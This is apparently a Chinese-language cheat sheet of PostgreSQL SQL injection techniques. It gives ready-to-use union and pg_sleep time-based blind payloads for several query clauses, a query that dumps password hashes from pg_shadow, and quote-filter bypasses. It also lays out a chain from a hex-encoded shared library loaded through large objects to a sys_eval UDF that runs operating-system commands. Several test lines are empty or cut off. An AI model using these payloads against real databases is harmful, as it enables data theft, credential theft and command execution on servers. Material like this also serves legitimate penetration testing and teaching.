postgresql注入
前言
总结一下一些注入姿势
基础语法
1.Postgres 都是大小写不敏感的
\h #查看所有的sql关键字 |
数据库之间的语言基本都是通用的,查询的时候重点关注的还是一些库的不同,例如current_database(),像like这些也是通用的s
注入点测试以及注入方法
postgresql的注入点可能会位于不同字句内
select
如果参数是整数: |
注入方法:
1' UNION SELECT 'a';-- -' |
union
'||password FROM users; -- -'; |
我们知道一般回显的是第一列,所以只需要让第一列不存在就行了
from
测试语句:
数字: |
注入语句为
(SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -; |
最终效果为:
SELECT address FROM (SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -; |
根据SELECT username FROM staff WHERE username SIMILAR TO 'M%'
返回的内容与否,它会休眠20秒,或者什么也不做。可以逐字节fuzz数据。
order by
注入点测试:是否延时
(SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN true ELSE false END); -- - |
利用order by的true或者false
(SELECT CASE WHEN COUNT((SELECT (SELECT CASE WHEN COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%'))<>0 THEN pg_sleep(20) ELSE '' END)))<>0 THEN true ELSE false END); -- - |
- 如果第一个COUNT函数没有返回零,那么对于ORDER BY,我们得到最终的true或false。
- 正确或错误取决于内部选择(第二个查询是核心判断的)。
- 内部选择将休眠20秒,或者什么也不返回。
- 这取决于人员表中用户的首字母是否以M开头(这是
SELECT username FROM staff WHERE username SIMILAR TO 'M%'
部分)。
HAVING
注入点测试
如果parameter是整数: |
此参数接受一个条件,因此我添加了一个AND
运算符以使之必须都为真,然后添加了条件,该条件将使我们可以逐字节对值进行暴力破解。
t' AND (SELECT COUNT((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1))) = 1; -- - |
同样,如果未显示输出,则可以使pg_sleep()函数的大部分时间睡眠(如果为true)20秒钟,并使用它来确定条件输出。
内置函数
current_database() //当前数据库名 |
注入过程
爆库
and 1=2 union select (select current_database()),null,null-- |
获取表名,字段名
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n-- |
获取数据
nd 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0--爆数据库用户密码 |
读写文件
老版本写文件: |
绕过
/**/ = " " |
过滤引号
使用$
符号
select $$test$$ == SELECT $quote$test$quote$; == select 'test' |
在字符串拼接的时候采取CHR()函数:
SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72);等效于SELECT 'ABCDEFGH'; |
命令执行
1.利用 libc 中的 system() 函数
2.利用Perl/Python脚本语言功能
3.利用C语言自定义函数
查看Postgresql目录
SELECT setting FROM pg_settings WHERE name='data_directory'; |
查询oid
select lo_creat(-1); |
oid与上面保持一致;
delete from pg_largeobject where loid=18412; |
把十六进制的so文件导入
insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex')); |
利用postgresql自带函数将大型对象导出到文件
SELECT lo_export(18412, 'cmd.so'); |
建立UDF
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; |
调用udf
select sys_eval('id'); |
postgresql注入